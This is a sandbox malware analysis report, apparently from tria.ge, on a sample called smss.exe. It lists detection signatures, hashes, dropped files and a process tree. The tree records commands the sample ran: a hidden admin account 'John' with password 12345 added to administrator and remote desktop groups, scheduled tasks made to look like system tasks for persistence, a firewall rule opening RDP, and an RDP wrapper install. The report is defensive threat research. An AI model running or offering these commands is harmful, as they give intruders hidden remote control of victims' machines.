Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    91s
  • max time network
    75s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/04/2024, 13:30

General

  • Target

    smss.exe

  • Size

    9.2MB

  • MD5

    53b92442e012db2fc2ee7dc22ee932a9

  • SHA1

    750d3f0ac227ccaa2c2a86859cffa4a2ac7cb1d1

  • SHA256

    776217117d4b2ecdb07b8a182581e4fd562c0a5785340f86100cf5c1b4eff62e

  • SHA512

    b64301d65f48f76855ad89723a933f6e25478ae3a5bcc35cbef81badd08d6dc565d41b51b46a9ab1ad750f0dfa81bffc3c4e6b3b5708f49fd937c948d674c430

  • SSDEEP

    196608:uDL2f4ARa+Yw//FpKv45ZhxE5ckWxoUPTYC39SGVy32idMfeaq6p:2L2f4ARaat64fhuWxjBE2SMfeaq6p

Malware Config

Signatures

  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Sets DLL path for service in the registry 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Themida packer 14 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Modifies WinLogon 2 TTPs 1 IoCs
  • AutoIT Executable 12 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Program Files directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 3 IoCs
  • NTFS ADS 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\smss.exe
    "C:\Users\Admin\AppData\Local\Temp\smss.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Program Files directory
    • Checks processor information in registry
    • Modifies registry class
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2860
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST
      2⤵
      • Creates scheduled task(s)
      PID:3868
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST
      2⤵
      • Creates scheduled task(s)
      PID:2868
    • C:\ProgramData\Windows Tasks Service\winserv.exe
      "C:\ProgramData\Windows Tasks Service\winserv.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:1708
      • C:\ProgramData\Windows Tasks Service\winserv.exe
        "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:4940
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net user John 12345 /add
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4948
      • C:\Windows\system32\net.exe
        net user John 12345 /add
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4716
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 user John 12345 /add
          4⤵
            PID:1604
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1268
        • C:\Windows\system32\net.exe
          net localgroup "Администраторы" John /add
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1480
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 localgroup "Администраторы" John /add
            4⤵
              PID:3564
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4064
          • C:\Windows\system32\net.exe
            net localgroup "Пользователи удаленного рабочего стола" John /add
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1636
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
              4⤵
                PID:3420
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2096
            • C:\Windows\system32\net.exe
              net localgroup "Пользователи удаленного управления" john /add" John /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2520
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add
                4⤵
                  PID:388
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2020
              • C:\Windows\system32\net.exe
                net localgroup "Administrators" John /add
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1108
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup "Administrators" John /add
                  4⤵
                    PID:2996
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1752
                • C:\Windows\system32\net.exe
                  net localgroup "Administradores" John /add
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4304
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 localgroup "Administradores" John /add
                    4⤵
                      PID:3548
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2612
                  • C:\Windows\system32\net.exe
                    net localgroup "Remote Desktop Users" john /add
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3776
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add
                      4⤵
                        PID:2744
                  • C:\ProgramData\RDPWinst.exe
                    C:\ProgramData\RDPWinst.exe -i
                    2⤵
                    • Sets DLL path for service in the registry
                    • Executes dropped EXE
                    • Modifies WinLogon
                    • Drops file in System32 directory
                    • Drops file in Program Files directory
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:5032
                    • C:\Windows\SYSTEM32\netsh.exe
                      netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
                      3⤵
                      • Modifies Windows Firewall
                      PID:1008
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c C:\Programdata\Install\del.bat
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3216
                    • C:\Windows\system32\timeout.exe
                      timeout 5
                      3⤵
                      • Delays execution with timeout.exe
                      PID:2552
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                  1⤵
                    PID:4880
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                    1⤵
                    • Loads dropped DLL
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4344
                  • C:\ProgramData\Windows Tasks Service\winserv.exe
                    "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                    1⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • Suspicious use of SetWindowsHookEx
                    PID:3636

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\ProgramData\RDPWinst.exe

                    Filesize

                    1.4MB

                    MD5

                    3288c284561055044c489567fd630ac2

                    SHA1

                    11ffeabbe42159e1365aa82463d8690c845ce7b7

                    SHA256

                    ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753

                    SHA512

                    c25b28a340a23a9fa932aa95075f85fdd61880f29ef96f5179097b652f69434e0f1f8825e2648b2a0de1f4b0f9b8373080a22117974fcdf44112906d330fca02

                  • C:\ProgramData\Windows Tasks Service\settings.dat

                    Filesize

                    2KB

                    MD5

                    d7c429c3e48b1edb695c9b661154d32e

                    SHA1

                    e1397f226ebdd7f39fe800b4161066b4941e79b0

                    SHA256

                    9a5e1ea29b6c7d101d133f9e5951d42af3c14c2222ec8883601040ff37fc4bd3

                    SHA512

                    abb0c8207a19c81463d95f795e0795b63848f3eb8038f1ae3f1a0d3b9854694ffa11febe64f62d1de6d23ea60df18b92a974148e97411287b2d9c0fc5a79d225

                  • C:\ProgramData\Windows Tasks Service\winserv.exe

                    Filesize

                    10.2MB

                    MD5

                    3f4f5a6cb95047fea6102bd7d2226aa9

                    SHA1

                    fc09dd898b6e7ff546e4a7517a715928fbafc297

                    SHA256

                    99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                    SHA512

                    de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                  • C:\Programdata\Install\del.bat

                    Filesize

                    315B

                    MD5

                    155557517f00f2afc5400ba9dc25308e

                    SHA1

                    77a53a8ae146cf1ade1c9d55bbd862cbeb6db940

                    SHA256

                    f00d027b0ed99814846378065b3da90d72d76307d37b7be46f5a480f425a764e

                    SHA512

                    40baee6e6b22c386886d89172ad7c17605166f992f2d364c68d90b9874ab6f7b85e0accc91e83b4fbd2ae702def365f23542f22f6be7ff2f7949496cc0ba8a32

                  • \??\c:\program files\rdp wrapper\rdpwrap.dll

                    Filesize

                    114KB

                    MD5

                    461ade40b800ae80a40985594e1ac236

                    SHA1

                    b3892eef846c044a2b0785d54a432b3e93a968c8

                    SHA256

                    798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4

                    SHA512

                    421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26

                  • \??\c:\program files\rdp wrapper\rdpwrap.ini

                    Filesize

                    323KB

                    MD5

                    74353b471791f5d75f64bd0bf051b0e9

                    SHA1

                    272ba026a029da8a356f4f1de596d09125895312

                    SHA256

                    e33f6ea2f4e7ea1cf7ae5550eb0d2f4df3a8d7a77ca59b03219bab5a6d3021e9

                    SHA512

                    666826808ccd649eca0418b12afc62a2f7176d50b5e6e39cedda3aa1e24b6a8c686b8d2efcc2022310ef94b991172343cfcd45fef089e841619a61067fa28a13

                  • memory/1708-29-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/1708-24-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/2860-8-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp

                    Filesize

                    15.6MB

                  • memory/2860-3-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp

                    Filesize

                    15.6MB

                  • memory/2860-15-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp

                    Filesize

                    15.6MB

                  • memory/2860-0-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp

                    Filesize

                    15.6MB

                  • memory/2860-7-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp

                    Filesize

                    15.6MB

                  • memory/2860-1-0x00007FFB98430000-0x00007FFB98625000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/2860-26-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp

                    Filesize

                    15.6MB

                  • memory/2860-6-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp

                    Filesize

                    15.6MB

                  • memory/2860-5-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp

                    Filesize

                    15.6MB

                  • memory/2860-32-0x00007FFB98430000-0x00007FFB98625000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/2860-65-0x00007FFB98430000-0x00007FFB98625000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/2860-33-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp

                    Filesize

                    15.6MB

                  • memory/2860-2-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp

                    Filesize

                    15.6MB

                  • memory/2860-9-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp

                    Filesize

                    15.6MB

                  • memory/2860-4-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp

                    Filesize

                    15.6MB

                  • memory/2860-64-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp

                    Filesize

                    15.6MB

                  • memory/2860-55-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp

                    Filesize

                    15.6MB

                  • memory/3636-71-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/3636-72-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/4940-56-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/4940-34-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/4940-27-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/4940-75-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/4940-77-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/5032-54-0x0000000000400000-0x000000000056F000-memory.dmp

                    Filesize

                    1.4MB